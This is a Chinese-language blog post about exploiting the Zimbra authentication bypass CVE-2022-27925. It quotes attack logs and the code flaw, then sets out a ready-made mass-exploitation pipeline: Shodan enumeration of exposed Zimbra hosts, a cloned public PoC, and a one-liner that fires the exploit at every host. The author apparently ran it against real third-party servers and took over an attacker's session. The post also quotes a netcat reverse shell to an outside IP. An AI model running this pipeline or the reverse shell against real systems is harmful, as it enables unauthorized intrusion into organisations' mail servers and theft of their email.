这项研究始于尝试理解许多研究人员在 GitHub 上的多个仓库中分享的 POC,最终却遇到了一个有趣的惊喜,我将在接下来的段落中分享。今年 8 月 10 日,安全研究团队 Volexity 在其 twitter 账户上公开了 ZCS(Zimbra Collaboration Server)套件遭到大规模利用的发现,该漏洞可绕过身份验证,全球接近 1000 个 Zimbra 实例已遭到入侵。
在 Volexity 的同事展示的调查中,他们提供了一部分所查询到的日志:
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
同样,他们解释该代码缺陷出在 doPost 函数上,

这段代码的问题在于,它会检查身份验证并设置错误消息,但没有返回语句。这意味着无论用户的身份验证状态如何,后续代码仍会继续执行。顺着该函数继续往下看,攻击者只需在 URL 中设置正确的参数即可利用该漏洞。
一旦我们理解了可能的原因,并且已经有一些 POC 发布,我们便开始逐步进行利用,但首先我们会使用 greynoise 工具来调查现状。

我们观察到,即使在 CVE-2022-27925 公布一个多月后,攻击仍然在继续。
在 Shodan 中,我们可以看到大约 45,223 个 Zimbra 安装实例。

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

我们看一下结果
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

我们稍微检查一下数据,并整理成自动化测试所需的格式
我们解析数据,以便能够使用 oneliner

我们将在 docker 中使用 httpx

我们从 GitHub 下载 POC
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

我们用该 POC 测试这个 oneliner。需要强调的是,我们必须将解析后的文件移动到 POC 目录中,或者通过绝对路径调用它;同样,我们也可以使用 Shodan 的 dump 数据来运行它。
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

在这次测试中,许多目标似乎已经打了补丁。
最终我们得到了一个结果


一旦漏洞被利用,我们观察到了作为 APT 脚本的文件,这些脚本用于窃取信息和准备勒索。

恶意文件 gift

备份与数据外泄文件
我们发现的其中一个路径包含多个 webshell
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

对正在运行的进程进行分析后发现,有 cronjob 被安装用于打包电子邮件。

注意: 以下操作仅出于教育目的,并作为一种善意的行为。
在识别到 netcat 的下载后,我们继续接管了攻击者的会话;可以观察到他们使用了 netcat ./nc 52.90.92.82 443 -e /bin/bash
一个公开报告超过 30 天的漏洞,在撰写本文时仍然有效。需要指出的是,我们已通知受影响方,但没有成功,因为该漏洞仍然活跃。